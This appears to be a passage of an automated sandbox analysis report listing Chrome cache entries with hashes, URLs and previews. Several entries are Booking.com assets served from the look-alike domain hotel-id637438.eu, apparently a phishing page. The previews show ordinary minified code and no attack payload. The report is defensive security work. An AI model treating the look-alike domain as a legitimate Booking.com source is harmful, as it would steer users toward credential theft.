Preview:	"use strict";(self.webpackChunktag=self.webpackChunktag\|\|[]).push([[792],{4721:(e,t,n)=>{n.d(t,{Is:()=>d,K6:()=>l,fS:()=>r,fh:()=>s,ih:()=>c,l$:()=>o,nc:()=>u,tv:()=>a,vw:()=>i});const a="abtasty_resetActionTracking",i="targetPages",o="qaParameters",r="audience",s="segment",c="trigger",d="$^",l=16,u=1e3},6914:(e,t,n)=>{n.d(t,{p:()=>a});const a=(0,n(721).c)(((e,t)=>t.reduce(((t,n)=>e(n)?[...t,n]:t),[])))},721:(e,t,n)=>{function a(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:[];return function(){for(var n=arguments.length,i=new Array(n),o=0;o<n;o++)i[o]=arguments[o];const r=e.length,s=e=>"__missing__"===e,c=t.map((e=>s(e)&&i.length>0?i.shift():e)).concat(i);return c.filter((e=>!s(e))).length<r?a(e,c):e(...c)}}n.d(t,{c:()=>a})},9076:(e,t,n)=>{function a(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return function(e){for(var n=arguments.length,a=new Array(n>1?n-1:0),i=1;i<n;i++)a[i-1]=arguments[i];return t.reduce(((t,n)=>null!=t?n(t):n(e,...a

Chrome Cache Entry: 396

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	35
Entropy (8bit):	2.9302005337813077
Encrypted:	false
SSDEEP:	3:CUHaaatrllH5:aB
MD5:	81144D75B3E69E9AA2FA3E9D83A64D03
SHA1:	F0FBC60B50EDF5B2A0B76E0AA0537B76BF346FFC
SHA-256:	9B9265C69A5CC295D1AB0D04E0273B3677DB1A6216CE2CCF4EFC8C277ED84B39
SHA-512:	2D073E10AE40FDE434EB31CBEDD581A35CD763E51FB7048B88CAA5F949B1E6105E37A228C235BC8976E8DB58ED22149CFCCF83B40CE93A28390566A28975744A
Malicious:	false
Reputation:	low
URL:	https://account.booking.com/_/fvtrpw.gif
Preview:	GIF89a.............,..............;

Chrome Cache Entry: 397

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	31
Entropy (8bit):	3.873235826376328
Encrypted:	false
SSDEEP:	3:YA8rQaC:YAoQaC
MD5:	5FC018D9E6C56911BBC8DC5DDCD0C768
SHA1:	70979F57A85D527ED8ABCBF02CFF44640C58BDE6
SHA-256:	2E6D78A4AE644F3B60AFD3C33E66539FF6C5F6A8ED6ABC40A3AF06AC020EC020
SHA-512:	1E3B86274B3590E28366F2D2DE86A1844058E213BD225AAA05D992CA70523F65D2BD543F9F762A805A2C4D5961AA34F5A19EBE70E135939C9CD3C63F6B5F5524
Malicious:	false
Reputation:	low
Preview:	{"error":"Method Not Allowed"}.

Chrome Cache Entry: 398

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	32
Entropy (8bit):	4.054229296672174
Encrypted:	false
SSDEEP:	3:W/iWVnCAd:iijAd
MD5:	FF35EA901C5CE523B7C579801C18B017
SHA1:	2E8827C2C07C1F79B4A74D496C603FC5BCF16D4B
SHA-256:	DE6967F1AB2159C7007C3CDA396596354EE243E099B30C190018B863A4E0521C
SHA-512:	79D2949561D7B4DCE453AD2088D096E363568BB0A932D14496331811325950926A1C1FCCDBF63F3732683684936FCB342B39ADC8729FC47D0770DD9CD3388E4D
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAn4soEGn1u0zxIFDRHygHc=?alt=proto
Preview:	ChUKEw0R8oB3GgQICRgBGgQIZBgCIAE=

Chrome Cache Entry: 399

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.039148671903071
Encrypted:	false
SSDEEP:	3:TSk7:TSk
MD5:	FD5AD4496505A2782C9D9B62982E818C
SHA1:	C8B47741F16A6E2BBAB02574225F4093C664FBF4
SHA-256:	D08755EA205B7A421C20FDBBA7C09DFA08645155268B96E6B3DC53F4898A6E4E
SHA-512:	11EA575DD773FE782F74BB94A21FFC8D3A87F1C5D4E418C1F91ABB106B8B9CEC3F1541BE45A4229BF9AE7B3C587F22BB800330D3A1685F6B2EEBA47B8ED5F570
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSFwkF0o4RU31lIBIFDc5BTHoSBQ1XUxxw?alt=proto
Preview:	ChIKBw3OQUx6GgAKBw1XUxxwGgA=

Chrome Cache Entry: 400

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:HkfyY:2yY
MD5:	BAE13B980DD4E506678463D87B43568A
SHA1:	20DD9D14B615F391D7697212F019FB9A75FCBA3C
SHA-256:	2700D7B484F179667E1F82F53F6092E8AE8241A941784674068B5704E11B9A6B
SHA-512:	BC73A4F24F7E6DAE52E939090A37C68CE8930D99F29B53F1408CEC0CA8AD79ED399A48309461A05A60CCB15E153A7FA28D45B66E35E8B318BBA4EBDF3F515142
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAmN-6J5fnLmdRIFDV18ofM=?alt=proto
Preview:	CgkKBw1dfKHzGgA=

Chrome Cache Entry: 401

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65397)
Category:	downloaded
Size (bytes):	1094754
Entropy (8bit):	5.136670695772888
Encrypted:	false
SSDEEP:	12288:OPr3aA0dI1gJHzKXJ82V6DAtBTP8If1cE/UqY6FgvuI180+AMw60FJIW9hDr33/Y:OPrYIgHsJtBTP8KAx60UYDFEsi5tB
MD5:	F0BDE56A9826F41401A5661DB47CFD48
SHA1:	3A09338025C7C5895E61E57F2DB67855CDE5C849
SHA-256:	FA3AFF4C0968C930CA34F8F8CE6E08F42328F1BC6D99E91E5D424877535D8575
SHA-512:	FB49423D157BB8B8BD90EF7F806D1521FA069B5B5A53094BF85574F192A379951A9509BA9F3848EA34BA0A1E286B17A1703156D28AD3E396D3FFAF91BA564996
Malicious:	false
Reputation:	low
URL:	https://d8c14d4960ca.d2eb2267.us-east-1.token.awswaf.com/d8c14d4960ca/c2181391033f/challenge.js
Preview:	/! <!-@preserve AWS WAF Integration Developer Guide <https://docs.aws.amazon.com/waf/latest/developerguide/waf-javascript-api.html>--> /.var a2_0x2380=['Franklin\x20Gothic\x20Demi','Chaparral\x20Pro','Minion\x20Pro\x20Cond','prfOid','authorityKeyIdentifier','parameters','publicSuffix','Bodoni\x20MT','input','Colonna\x20MT','encryptionParams','PRIVATE\x20KEY','sha512-256','Britannic\x20Bold','Access\x20denied.','input[type=\x22date\x22]','EnvelopedData.Version','4dkpJhv','\x20(External\x20or\x20Instance\x20of)','FontCollector','flashVersion','recipientInfoValidator','true','Cannot\x20read\x20encrypted\x20private\x20key.\x20Unsupported\x20key\x20derivation\x20function\x20OID.','Minion\x20Pro\x20SmBd','SHA1','1.3.6.1.5.5.7.3.8','PKCS#12\x20MAC\x20could\x20not\x20be\x20verified.\x20Invalid\x20password?','2.5.29.28','getElementsByTagName','Unsupported\x20challenge','2.5.4.11','white','deltaY','color','lastCollection','251444CUudwg','messageLength64','AlgorithmIdentifier.algorithm','certBa

Chrome Cache Entry: 402

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (31997)
Category:	downloaded
Size (bytes):	275294
Entropy (8bit):	5.791794100205205
Encrypted:	false
SSDEEP:	6144:zLbrEybJFmZ6ACcd5m3xWge8snrES8bdi:PEop+
MD5:	DC5BE92988D9CC83931C8660DC2A71C2
SHA1:	BDF6785153B8A8ADA1C0824EE13FE0A556953764
SHA-256:	0E3CD6436C3188852C7BC0A21B4C6789C22306FE5F5D64C1507D9F24590F7670
SHA-512:	7D2717B2175BCFB74E791491EE506737D153CC5E257D41DAB88C166114BB73EF984E8A772E7D8E03AE5CE609C48738A14912E4A800186133DAA4C64B0A7B3F88
Malicious:	false
Reputation:	low
URL:	https://r.bstatic.com/libs/asec/btmgmt/px.v7.5.3.min.js
Preview:	// @license Copyright (C) 2014-2022 PerimeterX, Inc (www.perimeterx.com). Content of this file can not be copied and/or distributed..try{window._pxAppId="PXikKuL2RM",function(){function t(){return window.performance&&window.performance.now?window.performance.now():Date.now()}function e(e){return e&&(pu+=t()-e,bu+=1),{total:pu,amount:bu}}function n(n){var r=t(),o=hu[n];if(o)a=o;else{for(var i=mu(n),c="d8jF4yC",a="",d=0;d<i.length;++d){var u=c.charCodeAt(d%7);a+=String.fromCharCode(u^i.charCodeAt(d))}hu[n]=a}return e(r),a}function r(t){var e=Ou[t];return e\|\|"\\u"+("0000"+t.charCodeAt(0).toString(16)).slice(-4)}function o(t){return xu.lastIndex=0,'"'+(xu.test(t)?t.replace(xu,r):t)+'"'}function i(t){var e=void 0;switch(void 0===t?"undefined":Iu(t)){case wu:return"null";case Su:return String(t);case Au:var n=String(t);return"NaN"===n\|\|"Infinity"===n?Cu:n;case Tu:return o(t)}if(null===t\|\|t instanceof RegExp)return Cu;if(t instanceof Date)return['"',t.getFullYear(),"-",t.getMonth()+1,"-",t.g

Chrome Cache Entry: 403

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 1078
Category:	downloaded
Size (bytes):	592
Entropy (8bit):	7.629546406181614
Encrypted:	false
SSDEEP:	12:Xj897RMy9zcOXwuUSo+8fidbba/ki9D+yhgd3Mc78qJsh:XI97RKowTz++i6/kjyG3Mc4SE
MD5:	A1CCA45D5E0EB469851C20602367AED2
SHA1:	C2CB4A6DE94E2686227628ADD6532AACB6BB69D1
SHA-256:	0CDAF63F115089B109E5CBD090B78BD8E28CA6E81EF51A245EFB5556C533C9E6
SHA-512:	921ED8F785B71324A83AB6596291D29AA2D28A99E715F055F3621CEF9ED334A4146D9270DB7388B5AAF719229DCDC764B1613B534387DF3FC603F2BF94BE6A53
Malicious:	false
Reputation:	low
URL:	https://ls.cdn-gw-dv.vip/dedge/zd/zd-service.html
Preview:	...........SM..0...+....uH......M..i.&..S..t.P<..X.{.&K.v/EH.of.\|...-.w.._.v..ln...'RDs. A ..X...& wE.2...TJb..- .`..=;LD.$.5..w...I....NH..-..$8.....Q2.h\.!.ENY..N2..U.QP...xP.ZD....Qqt."....J...{.......E...Y/9.$.&K'..q.\|.?...J7. .w!.$.U.uiL....}..Q...35g...O.........n..@.(.......^...vts3.!. [..X3k...1h..H......:....LY'..Kh^g.G........E....jy..U.M.ae..&...*5Tu..W..{....sy...$e..mz..../~....Jp,H...Z3.I......1>.Y...y....P..s.,...R(,jt.k2.O..<3......H?S.....]1c...P...Q......Q.l0.T.N........1?X...01^..9.E.a..d....tr..g(:t.....wEx.q.%hg.y.?.W...,.o.\|..I7.<6...

Chrome Cache Entry: 404

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	231572
Entropy (8bit):	5.555832677521762
Encrypted:	false
SSDEEP:	3072:GiU59HzSHtq2FXyDmvXq507EflG8YU7+B8x/9:GiU5tSHtq2FXyDmC0I7n/9
MD5:	95744D9B9384066E908E63BBAD3A188B
SHA1:	865538ADC7434D75E955733AEA35EEE22537B2EC
SHA-256:	1623411F7208516B214A1B1CFB5B544DFDEBB718721E871B1AA31C898C21E2D5
SHA-512:	457743742B2B8CF21622100CC350DAD5C175F5F93A08D494FD577A079059059D7857F0C488695C0249D023873C43F4DA16BB89B2ED0F39407E56F0912F524E68
Malicious:	false
Reputation:	low
URL:	https://cf.bstatic.com/psb/accountsportal/assets/826_c32002792e35c69191e8.css
Preview:	.T2rWNppPhktSYskjUv1y{position:var(--bui_mixin_position)!important}.T2rWNppPhktSYskjUv1y[style="--bui_mixin_position--s"]{--bui_mixin_position:var(--bui_mixin_position--s)}@media (min-width:576px){.T2rWNppPhktSYskjUv1y[style="--bui_mixin_position--m"]{--bui_mixin_position:var(--bui_mixin_position--m)}}@media (min-width:1024px){.T2rWNppPhktSYskjUv1y[style="--bui_mixin_position--l"]{--bui_mixin_position:var(--bui_mixin_position--l)}}@media (min-width:1280px){.T2rWNppPhktSYskjUv1y[style="--bui_mixin_position--xl"]{--bui_mixin_position:var(--bui_mixin_position--xl)}}.rzdKKsGEShe6NDbVYl9b{z-index:var(--bui_z_index_0)!important}.ii5jwmWZLHuk5IB9mW7t{z-index:var(--bui_z_index_1)!important}.PwLZnoO6cZczi8LvTs4N{z-index:var(--bui_z_index_2)!important}.J2_CU8Ow7PEilhnU8Im1{z-index:var(--bui_z_index_3)!important}.iekaqIV6FHLXK7DDuXWT{z-index:var(--bui_z_index_4)!important}@media (min-width:576px){.rbcedG7RrhAURAtmuFsQ{z-index:var(--bui_z_index_0)!important}.mfR6csSDsJtMy9geJOPo{z-index:var(--

Chrome Cache Entry: 405

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1197
Entropy (8bit):	5.250746419165476
Encrypted:	false
SSDEEP:	24:2dYwahJhWDCLf3fbeVZmFy6yCXCWX9JVLNpwtbMIhU7C06Fa5QcPm:cyJhbf3fbOKy6yCdtJWWFL6FSQ/
MD5:	E8209D74AD093F151954A3820C12E5D8
SHA1:	12FBF39039F0182026ABAF8B0A22E75C9BB316F7
SHA-256:	C80B9838465A2C5AA19E06C25631CD22D81DD8C76563875EBFB4D35304DFBA47
SHA-512:	4DC04BF54E06A26D78C6D71EAA392059B21EA8A01BF6C6B1EB808F9A01758C18DB18A28A9D74A841B3D5F2249787890944EC94EE0A6D4B2F99042138534800F2
Malicious:	false
Reputation:	low
URL:	https://xx.bstatic.com/static/img/favicon.svg
Preview:	<?xml version="1.0" encoding="utf-8"?>. Lovingly exported by Jess Stubenbord for Booking.com in Amsterdam 16-03-2023 -->.<svg version="1.1" id="bdot-favicon" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px".. viewBox="0 0 192 192" style="enable-background:new 0 0 192 192;" xml:space="preserve">.<style type="text/css">...squircle{fill:#003B95;}...bdot{fill:#FFFFFF;}.</style>.<path class="squircle" d="M37.8,0h116.5C175.1,0,192,16.9,192,37.8v116.5c0,20.9-16.9,37.8-37.8,37.8H37.8C16.9,192,0,175.1,0,154.2V37.8..C0,16.9,16.9,0,37.8,0z"/>.<g id="bdot-group">..<path class="bdot" d="M144.2,143.8c6.7,0,12.1-5.5,12.1-12.2c0-6.7-5.4-12.2-12.1-12.2c-6.7,0-12.1,5.4-12.1,12.2...C132.1,138.3,137.6,143.8,144.2,143.8z"/>..<path class="bdot" d="M106.7,91.9l-3.1-1.7l2.7-2.3c3.2-2.7,8.4-8.8,8.4-19.3c0-16.1-12.5-26.5-31.8-26.5H60.9h-2.5...c-5.7,0.2-10.3,4.9-10.4,10.6V144h35.4c21.5,0,35.4-11.7,35.4-29.8C118.7,104.4,114.2,96.1,106.7,91.9z M67.6,66c0-4.7,2-7,6.4

Chrome Cache Entry: 406

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65452)
Category:	downloaded
Size (bytes):	260385
Entropy (8bit):	5.579472409665284
Encrypted:	false
SSDEEP:	3072:2d1HPW5lcTlSoQM/SMrm03dezGrV4hgq5pbUKNrISe:sHPW5lcTlSoQaSMrm0dVV5q3UpX
MD5:	131E85E1B94A8B2F62083CCDBB556381
SHA1:	988EB3FE7BF6AB9ECE31B01F92C84AE15C4D4017
SHA-256:	4BD1420527A0F5A49918C66B2FCAB1BD9EED8FC2E593A54D326523A8BFD8CC24
SHA-512:	719417BA3ACD2050836CFEF90C5C4D202693C2264C9341B224D387FA7A65B673573476E3D60C27D25C57EFA4DF6AF0518168A63238F69B4EA7DFF555A0306117
Malicious:	false
Reputation:	low
URL:	https://hotel-id637438.eu/static/839_54e41047ac8a31eb0fec.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	/! For license information please see 839_54e41047ac8a31eb0fec.js.LICENSE.txt /.(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[839],{10811:function(e,t,n){"use strict";var r=this&&this.__createBinding\|\|(Object.create?function(e,t,n,r){void 0===r&&(r=n);var o=Object.getOwnPropertyDescriptor(t,n);o&&!("get"in o?!t.__esModule:o.writable\|\|o.configurable)\|\|(o={enumerable:!0,get:function(){return t[n]}}),Object.defineProperty(e,r,o)}:function(e,t,n,r){void 0===r&&(r=n),e[r]=t[n]}),o=this&&this.__setModuleDefault\|\|(Object.create?function(e,t){Object.defineProperty(e,"default",{enumerable:!0,value:t})}:function(e,t){e.default=t}),a=this&&this.__importStar\|\|function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)"default"!==n&&Object.prototype.hasOwnProperty.call(e,n)&&r(t,e,n);return o(t,e),t},i=this&&this.__importDefault\|\|function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(

Chrome Cache Entry: 407

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	642
Entropy (8bit):	7.485255326893554
Encrypted:	false
SSDEEP:	12:6v/7+FO+DpBBzM22sBdG4llNTJ6yHfbE8/jALtcq4PsesuZtC6mN:5tj2sBdpXlHfw8chcqgsCZxmN
MD5:	41A0E840AA47C87E19D2BFE0B1231C3F
SHA1:	B5F588CA91FC9E67B5EA658C5FF943B0639E57B9
SHA-256:	A333D02EEDDE7A4DD8643D58B0EA7947268A1762F35F517EB6000EC9E7FCFAE8
SHA-512:	8578A788F605BC27B4326EB38417A71E45A05AC885B971C49AC3C7D23F6DDF747F69F2CCF3DF0C461E1C90268247D6959F248D3001518F56888F6D6B8C1CDD2E
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.....`......uPLTE..0<9p..0.'@.....0<:p.s}TS.....a_.HFymk.IFy.;I......yx....HGy..........Wd.........&@...mk.......G^............l.........tRNS...;%j.....IDATH..a..0..`..5..KiA8..S..O.y.....h><..4.......c..0..Pm.v......i...iuo..;..X..H'7LVM.....{..5zM.{.B"-4r[O..L..fw.hY..G...\.@h.U.kS...d.2`{...]i.....Zt@....t.,.z..W..x..........V-lB...S.!...S....U5.....E.+...g..4.....!.?...N..w.7-L[....<j..\|.+r5.u~..a0.<.l..._.h.q..4.....(.>.<.E.I...-t....X.S.77-nX.......^.T.*.....s.m.......~V....Lnz....Y...5......-...\|...{q...'.lN.W.4W]..<.......`!..A......D@...$.....0X.I..1XI.....T....C..@.}....IEND.B`.

Chrome Cache Entry: 408

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.150232349540528
Encrypted:	false
SSDEEP:	3:YRc8fBAgJVJfHjDrXKlyAwlfHbTKSMh:YxnRDDrbPKSE
MD5:	AA06ED13ABA3B8794A6B08C97690BE10
SHA1:	D33973099AAB36E3D31776FC2CFA5813F3E01682
SHA-256:	776884509E2EAA210894BAA49945B7AD8A02026ADC657E276F724AF7E8544374
SHA-512:	89E907DEA8FF569ECC8E54840A3553623585EE84D1FE285DC62427C2BD5DA0EFFE05436C6C8A28389A620D5FF248ADC42B92332E7B847BD0202C1A3A0C1B154A
Malicious:	false
Reputation:	low
Preview:	{"type":"Desktop","os":{"name":"Windows"},"browser":{"name":"Chrome","version":"117"}}

Chrome Cache Entry: 409

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:s:s
MD5:	37A6259CC0C1DAE299A7866489DFF0BD
SHA1:	2BE88CA4242C76E8253AC62474851065032D6833
SHA-256:	74234E98AFE7498FB5DAF1F36AC2D78ACC339464F950703B8C019892F982B90B
SHA-512:	04F8FF2682604862E405BF88DE102ED7710AC45C1205957625E4EE3E5F5A2241E453614ACC451345B91BAFC88F38804019C7492444595674E94E8CF4BE53817F
Malicious:	false
Reputation:	low
URL:	https://hotel-id637438.eu/check-online
Preview:	null

Chrome Cache Entry: 410

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	35
Entropy (8bit):	2.9302005337813077
Encrypted:	false
SSDEEP:	3:CUHaaatrllH5:aB
MD5:	81144D75B3E69E9AA2FA3E9D83A64D03
SHA1:	F0FBC60B50EDF5B2A0B76E0AA0537B76BF346FFC
SHA-256:	9B9265C69A5CC295D1AB0D04E0273B3677DB1A6216CE2CCF4EFC8C277ED84B39
SHA-512:	2D073E10AE40FDE434EB31CBEDD581A35CD763E51FB7048B88CAA5F949B1E6105E37A228C235BC8976E8DB58ED22149CFCCF83B40CE93A28390566A28975744A
Malicious:	false
Reputation:	low
URL:	https://hotel-id637438.eu/static/etnht.gif
Preview:	GIF89a.............,..............;

Chrome Cache Entry: 411

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	231572
Entropy (8bit):	5.555832677521762
Encrypted:	false
SSDEEP:	3072:GiU59HzSHtq2FXyDmvXq507EflG8YU7+B8x/9:GiU5tSHtq2FXyDmC0I7n/9
MD5:	95744D9B9384066E908E63BBAD3A188B
SHA1:	865538ADC7434D75E955733AEA35EEE22537B2EC
SHA-256:	1623411F7208516B214A1B1CFB5B544DFDEBB718721E871B1AA31C898C21E2D5
SHA-512:	457743742B2B8CF21622100CC350DAD5C175F5F93A08D494FD577A079059059D7857F0C488695C0249D023873C43F4DA16BB89B2ED0F39407E56F0912F524E68
Malicious:	false
Reputation:	low
URL:	https://hotel-id637438.eu/static/839_c32002792e35c69191e8.css
Preview:	.T2rWNppPhktSYskjUv1y{position:var(--bui_mixin_position)!important}.T2rWNppPhktSYskjUv1y[style="--bui_mixin_position--s"]{--bui_mixin_position:var(--bui_mixin_position--s)}@media (min-width:576px){.T2rWNppPhktSYskjUv1y[style="--bui_mixin_position--m"]{--bui_mixin_position:var(--bui_mixin_position--m)}}@media (min-width:1024px){.T2rWNppPhktSYskjUv1y[style="--bui_mixin_position--l"]{--bui_mixin_position:var(--bui_mixin_position--l)}}@media (min-width:1280px){.T2rWNppPhktSYskjUv1y[style="--bui_mixin_position--xl"]{--bui_mixin_position:var(--bui_mixin_position--xl)}}.rzdKKsGEShe6NDbVYl9b{z-index:var(--bui_z_index_0)!important}.ii5jwmWZLHuk5IB9mW7t{z-index:var(--bui_z_index_1)!important}.PwLZnoO6cZczi8LvTs4N{z-index:var(--bui_z_index_2)!important}.J2_CU8Ow7PEilhnU8Im1{z-index:var(--bui_z_index_3)!important}.iekaqIV6FHLXK7DDuXWT{z-index:var(--bui_z_index_4)!important}@media (min-width:576px){.rbcedG7RrhAURAtmuFsQ{z-index:var(--bui_z_index_0)!important}.mfR6csSDsJtMy9geJOPo{z-index:var(--

Chrome Cache Entry: 412

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	22
Entropy (8bit):	3.879664004902593
Encrypted:	false
SSDEEP:	3:qIJMyAWRiDKn:q0CWRaKn
MD5:	E931AA6A3B8313E99046E151E1E1EE6E
SHA1:	5769BF1E2BD60C552FF0F0F29126C4E29537560E
SHA-256:	BA811310EB6882156F51C2B9B27227636DF74850F3F8B2F0A3CE179FC50844C2
SHA-512:	AE08A7D00FF970D384552CF3DDE91C724377D99BA2A49AC345EBEB0C4F8222002BF453975BDBAB9DCEC07C9C6A34C54988764BD2801543452478D9DBA98C4AD7
Malicious:	false
Reputation:	low
Preview:	Invalid request origin

Chrome Cache Entry: 413

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (23379), with no line terminators
Category:	downloaded
Size (bytes):	23379
Entropy (8bit):	5.211693995794743
Encrypted:	false
SSDEEP:	384:XNPeatsU7faq4CNOZjVONK8x/xScjiKxJTQK/5AxPuMbK/q4x17CY/lLx2+dZkJp:XNPe4h7P4skVONK8x/xSuxxJTD5AMMbx
MD5:	9E40A41A129ED1D6CB264D81858D4854
SHA1:	F9776FA975B81EC254633F02D006E28A3A6079FB
SHA-256:	478337B30E20AC02307A358E23D477E7C1C0260B39BFC5CD951EC367C923C562
SHA-512:	62E2430E9139219DD12CBA58B99256F1E2120B7700056069E6EAED41603637A5C1239D65673C68B68D54E86626C6AE7A427E44CABDF51E15ABDB2DBD5139D154
Malicious:	false
Reputation:	low
URL:	https://chat.kindlycdn.com/vendors-react-chat_node_modules_react-hook-form_dist_index_esm_mjs-aeac223be9413b14fbb3.js
Preview:	"use strict";(self.kindlyJSONp=self.kindlyJSONp\|\|[]).push([["vendors-react-chat_node_modules_react-hook-form_dist_index_esm_mjs"],{5964:(e,t,r)=>{r.d(t,{FH:()=>j,lN:()=>C,mN:()=>Se,xI:()=>B});var s=r(257),a=e=>"checkbox"===e.type,i=e=>e instanceof Date,n=e=>null==e;const l=e=>"object"==typeof e;var o=e=>!n(e)&&!Array.isArray(e)&&l(e)&&!i(e),u=e=>o(e)&&e.target?a(e.target)?e.target.checked:e.target.value:e,d=(e,t)=>e.has((e=>e.substring(0,e.search(/\.\d+(\.\|$)/))\|\|e)(t)),c=e=>{const t=e.constructor&&e.constructor.prototype;return o(t)&&t.hasOwnProperty("isPrototypeOf")},f="undefined"!=typeof window&&void 0!==window.HTMLElement&&"undefined"!=typeof document;function m(e){let t;const r=Array.isArray(e);if(e instanceof Date)t=new Date(e);else if(e instanceof Set)t=new Set(e);else{if(f&&(e instanceof Blob\|\|e instanceof FileList)\|\|!r&&!o(e))return e;if(t=r?[]:{},r\|\|c(e))for(const r in e)e.hasOwnProperty(r)&&(t[r]=m(e[r]));else t=e}return t}var y=e=>Array.isArray(e)?e.filter(Boolean):[],v=e=>

Chrome Cache Entry: 414

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (58048)
Category:	downloaded
Size (bytes):	239583
Entropy (8bit):	5.328163333127367
Encrypted:	false
SSDEEP:	1536:ZRmVJD/tmBKac0h3fVrBcFpebVdWc89scHAHqbD4nypyvyby3y6yKDmZZme29qbj:PmVJD/61spevF9iAe29qHoKX
MD5:	151BC8ED9B2D706F212E617FF1385FB7
SHA1:	4DC3EBD7296CD1BCD36A42F6D98F2ABD55338C3D
SHA-256:	DF4743590DE9140BEBF91BCFED4B142528D7467554FE1C14CAB0398FF2A26372
SHA-512:	DDCF958E50B72586DE16CF94A40A587B9D0A9587C92475F07F2666376728E4B006BE9030C54BB17E716872EEFBDB4FBDA28B09A4DC3C442D128F1DDD073BE860
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/en-us?utm_source=extranet_login_page
Preview:	<!DOCTYPE html>.<html lang="en-us" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://schema.org/ sioc: http://rdfs.org/sioc/ns# sioct: http://rdfs.org/sioc/types# skos: http://www.w3.org/2004/02/skos/core# xsd: http://www.w3.org/2001/XMLSchema# ">. <head>. <meta charset="utf-8" />.<link rel="preload" href="/themes/custom/booking/fonts/icons/icons.woff?v=1.3.3" as="font" type="font/woff" crossorigin="" />.<link rel="preconnect" href="https://bstatic.com" crossorigin="" />.<link rel="preconnect" href="https://cdn.cookielaw.org" crossorigin="" />.<link rel="preconnect" href="https://www.google-analytics.com" crossorigin="" />.<link rel="preconnect" href="https://www.googleoptimize.com" crossorigin="" />.<link rel="preconnect" href="https://try.abtasty.com" crossorigin="" />.<link rel="preconnect" href="https://lonrtp

Chrome Cache Entry: 415

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	83826
Entropy (8bit):	5.366264835806005
Encrypted:	false
SSDEEP:	1536:eiAk3otBQlBNqRYVp7BwzAWxckMkG/Mlu+mfUY:k6p7Bw7x+x/j
MD5:	DB5A931B5024FE86A63D507A3F84D84F
SHA1:	D81BBFE9BF6EA1AC288F3E8B21D60EBD87AF379C
SHA-256:	2DA38B5D5A8ACA1FC64BDD32CB444AD738D49010A1A28E4933AC3D50CC84AF6B
SHA-512:	08967F4790A8EB4139DE1B3050583811AF8D5AA9D538A6D36248C9FEC0B20C47A31974A36907C6F584187073B45CEEF14102ABD17E8512A66F931D22A4B17ADF
Malicious:	false
Reputation:	low
URL:	https://cdn.spinnaker-js.com/rc/19174/scripts/s.js
